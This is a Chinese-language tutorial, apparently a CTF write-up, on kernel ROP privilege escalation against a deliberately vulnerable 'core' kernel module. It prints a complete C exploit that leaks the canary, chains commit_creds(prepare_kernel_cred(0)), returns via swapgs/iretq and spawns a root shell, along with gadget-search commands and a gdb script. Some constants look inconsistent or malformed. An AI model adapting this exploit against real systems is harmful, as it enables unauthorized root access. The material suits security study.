1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define POP_RDI_RET 0xffffffff81000b2f // ROP gadget: pop rdi; ret #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a // ROP gadget: mov rdi, rax; call rdx #define POP_RDX_RET 0xffffffff810a0f49 // ROP gadget: pop rdx; ret #define POP_RCX_RET 0xffffffff81021e53 // ROP gadget: pop rcx; ret #define SWAPGS_POPFQ_RET 0xffffffff81a012da // ROP gadget: swapgs; popfq; ret #define IRETQ 0xffffffff81050ac2 // ROP gadget: iretq size_t commit_creds = 0, prepare_kernel_cred = 0; // 函数地址 int main( int argc, char ** argv) { FILE *ksyms_file; int fd; char buf[0x50], type[0x10]; size_t addr, offset; size_t rop_chain[0x100], i; // 打开符号表文件 ksyms_file = fopen ( "/tmp/kallsyms" , "r" ); if (ksyms_file == NULL) { puts ( "\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m" ); exit (-1); } // 解析符号表获取函数地址 while ( fscanf (ksyms_file, "%lx %s %s" , &addr, type, buf) == 3) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && ! strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ( "\033[32m\033[1m[+] Successful to get the addr of commit_creds:\033[0m %lx\n" , commit_creds); continue ; } if (! strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ( "\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m %lx\n" , prepare_kernel_cred); continue ; } } fclose (ksyms_file); // 计算偏移,首先获取commit_creds未开启kaslr时候的地址,再减去开启kaslr的地址就得到了正确的偏移从而可以获得所有的函数地址 offset = commit_creds - ffffffff92a9c8e0; // 输出 ROP gadgets 的真实地址 printf ( "\033[32m\033[1m[+] ROP Gadgets Real Addresses:\033[0m\n" ); printf ( "POP_RDI_RET: 0x%lx\n" , POP_RDI_RET + offset); printf ( "MOV_RDI_RAX_CALL_RDX: 0x%lx\n" , MOV_RDI_RAX_CALL_RDX + offset); printf ( "POP_RDX_RET: 0x%lx\n" , POP_RDX_RET + offset); printf ( "POP_RCX_RET: 0x%lx\n" , POP_RCX_RET + offset); printf ( "SWAPGS_POPFQ_RET: 0x%lx\n" , SWAPGS_POPFQ_RET + offset); printf ( "IRETQ: 0x%lx\n" , IRETQ + offset); return 0; } |
原理是此前内核符号表又已经被拷贝到了/tmp/kallsyms
下,我们便可以从中读取各个内核符号的地址,如果在/proc/kallsyms下需要root权限才可以读取,在/tmp/kallsyms
所有用户都可以读取,所以即使开启了kaslr也可以获得指定函数的真实地址!
构造内核ROP链与用户态ROP链的主要区别在于状态切换。由于内核ROP链执行完毕后,最终需要返回用户态以获取一个具有root权限的shell,因此必须实现从内核运行状态到用户运行状态的切换。
为了实现这一目标,我们需要关注三个关键概念:
在 这篇博客 当中笔者简要叙述了内核态返回用户态的过程!
在内核ROP链执行之前,我们需要手动模拟用户态进入内核态的准备工作,即保存各寄存器的值到内核栈上。通常情况下,可以使用以下步骤来保存寄存器的值:
方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel
1 2 3 4 5 6 7 8 9 10 11 12 | size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ( "\033[34m\033[1m[*] Status has been saved.\033[0m" ); } |
在这个函数中,我们将用户态的寄存器值保存到预定义的变量中,以便在构造ROP链时使用。
为了从内核态返回到用户态,我们需要在内核代码中找到合适的gadget。这些gadget通常包括:
在内核中,可以通过工具如ROPgadget
或objdump
来寻找这些gadget。例如:
1 2 | ROPgadget --binary vmlinux | grep iretq ROPgadget --binary vmlinux | grep swapgs |
在内核ROP链中,通常需要调用一些提权函数来提升当前进程的权限。常见的提权函数包括:
那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq
就可以成功着陆回用户态
通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:
1 2 3 4 5 6 7 | ↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss |
现在只需要定位一下函数的溢出长度就可以成功构造内核ROP链了!
最后调试栈溢出位置即可!调试脚本:
1 2 3 4 5 | #!/bin/sh gdb -q -ex "target remote localhost:1234" \ -ex "add-symbol-file ./core.ko $1" \ -ex "b* core_copy_func+0x12F-0xF6" \ -ex "c" |
成功大选断点查看一些栈中的情况
可以发现溢出的长度正好是8X10个字节!
计算出溢出的长度后就可以直接构造了,我们需要完成的部分:user_shell_addr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // 构造ROP链 for (i = 0; i < 10; i++) rop_chain[i] = canary; // 填充canary rop_chain[i++] = POP_RDI_RET + offset; // 设置rdi rop_chain[i++] = 0; // 参数0 rop_chain[i++] = prepare_kernel_cred; // 调用prepare_kernel_cred rop_chain[i++] = POP_RDX_RET + offset; // 设置rdx rop_chain[i++] = POP_RCX_RET + offset; // 清理栈 rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset; // 将rax赋值给rdi并调用rdx rop_chain[i++] = commit_creds; // 调用commit_creds rop_chain[i++] = SWAPGS_POPFQ_RET + offset; // 切换上下文 rop_chain[i++] = 0; // 填充 rop_chain[i++] = IRETQ + offset; // 返回用户态 rop_chain[i++] = ( size_t )get_root_shell; // 执行root shell rop_chain[i++] = user_cs; // 恢复用户态寄存器 rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; |
由于是内核态的rop,故我们需要手动返回用户态执行/bin/sh
,这里我们需要模拟由用户态进入内核态再返回用户态的过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define POP_RDI_RET 0xffffffff81000b2f // ROP gadget: pop rdi; ret #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a // ROP gadget: mov rdi, rax; call rdx #define POP_RDX_RET 0xffffffff810a0f49 // ROP gadget: pop rdx; ret #define POP_RCX_RET 0xffffffff81021e53 // ROP gadget: pop rcx; ret #define SWAPGS_POPFQ_RET 0xffffffff81a012da // ROP gadget: swapgs; popfq; ret #define IRETQ 0xffffffff81050ac2 // ROP gadget: iretq size_t commit_creds = 0, prepare_kernel_cred = 0; // 函数地址 size_t user_cs, user_ss, user_rflags, user_sp; // 用户态寄存器状态 void save_status() { asm volatile ( "mov user_cs, cs;" // 保存用户态CS "mov user_ss, ss;" // 保存用户态SS "mov user_sp, rsp;" // 保存用户态RSP "pushf;" // 保存用户态标志寄存器 "pop user_rflags;" ); puts ( "\033[34m\033[1m[*] Status has been saved.\033[0m" ); // 输出状态已保存 } void get_root_shell( void ) { if (getuid()) { // 检查是否获取root权限 puts ( "\033[31m\033[1m[x] Failed to get the root!\033[0m" ); exit (-1); } puts ( "\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" ); system ( "/bin/sh" ); // 启动root shell } void core_read( int fd, char * buf) { ioctl(fd, 0x6677889B, buf); // 读取内核数据 } void set_off_val( int fd, size_t off) { ioctl(fd, 0x6677889C, off); // 设置偏移值 } void core_copy( int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); // 复制数据 } int main( int argc, char ** argv) { FILE *ksyms_file; int fd; char buf[0x50], type[0x10]; size_t addr, offset, canary; size_t rop_chain[0x100], i; puts ( "\033[34m\033[1m[*] Start to exploit...\033[0m" ); // 开始利用 save_status(); fd = open( "/proc/core" , 2); // 打开内核模块 if (fd <0) { puts ( "\033[31m\033[1m[x] Failed to open the /proc/core !\033[0m" ); exit (-1); } ksyms_file = fopen ( "/tmp/kallsyms" , "r" ); // 打开符号表文件 if (ksyms_file == NULL) { puts ( "\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m" ); exit (-1); } // 解析符号表获取函数地址 while ( fscanf (ksyms_file, "%lx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && ! strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ( "\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%lx\n" , commit_creds); continue ; } if (! strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ( "\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%lx\n" , prepare_kernel_cred); continue ; } } offset = commit_creds - 0xffffffffc0000000; // 计算偏移 // 获取canary值 set_off_val(fd, 64); core_read(fd, buf); canary = (( size_t *)buf)[0]; // 构造ROP链 for (i = 0; i < 10; i++) rop_chain[i] = canary; // 填充canary rop_chain[i++] = POP_RDI_RET + offset; // 设置rdi rop_chain[i++] = 0; // 参数0 rop_chain[i++] = prepare_kernel_cred; // 调用prepare_kernel_cred rop_chain[i++] = POP_RDX_RET + offset; // 设置rdx rop_chain[i++] = POP_RCX_RET + offset; // 清理栈 rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset; // 将rax赋值给rdi并调用rdx rop_chain[i++] = commit_creds; // 调用commit_creds rop_chain[i++] = SWAPGS_POPFQ_RET + offset; // 切换上下文 rop_chain[i++] = 0; // 填充 rop_chain[i++] = IRETQ + offset; // 返回用户态 rop_chain[i++] = ( size_t )get_root_shell; // 执行root shell rop_chain[i++] = user_cs; // 恢复用户态寄存器 rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800); // 写ROP链向bss段的name // 写入负数实现溢出漏洞,将name的数据复制到栈上从而实现溢出漏洞 core_copy(fd, 0xffffffffffff0000 | (0x100)); } |
编译:
1 | gcc ./exp.c -o exploit -static -masm=intel |
成功:
特征 | 用户态ROP | 内核态ROP |
---|---|---|
目标函数 | system("/bin/sh") |
commit_creds(prepare_kernel_cred(0)) |
状态切换 | 无需额外操作 | swapgs + iretq 恢复用户态 |
保护机制 | NX、ASLR | KASLR、Canary |
信息泄露依赖 | Libc基址、栈地址 | 内核符号表、Canary值 |
相关参考链接感谢大佬的文章!!!
报错解决:
如果执行后报错,大概率是gadgets的地址弄错了,重新从BzImage里面提取vmlinux在去获取Gadget!
也可以直接使用pwntools工具来搜索:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | ub20@ub20:~/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player$ python Python 3.8.10 ( default , Feb 4 2025, 15:02:54) [GCC 9.4.0] on linux Type "help" , "copyright" , "credits" or "license" for more information. >>> from pwn import * >>> e = ELF( './vmlinux' ) [*] '/home/ub20/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0xffffffff81000000) Stack: Executable RWX: Has RWX segments Stripped: No >>> context.arch = 'amd64' >>> hex(e.search(asm( 'iretq' )).__next__()) '0xffffffff81040a52' >>> hex(e.search(asm( 'pop rdi; ret' )).__next__()) '0xffffffff81000e40' >>> hex(e.search(asm( 'mov rdi, rax; call rdx' )).__next__()) '0xffffffff8100d054' >>> hex(e.search(asm( 'pop rdx; ret' )).__next__()) '0xffffffff810282f1' >>> hex(e.search(asm( 'pop rcx; ret' )).__next__()) '0xffffffff810ca8f0' >>> hex(e.search(asm( 'swapgs; popfq; ret' )).__next__()) '0xffffffff818012da' >>> |
更多【二进制漏洞-用户态视角理解内核ROP利用:快速从shell到root的进阶】相关视频教程:www.yxfzedu.com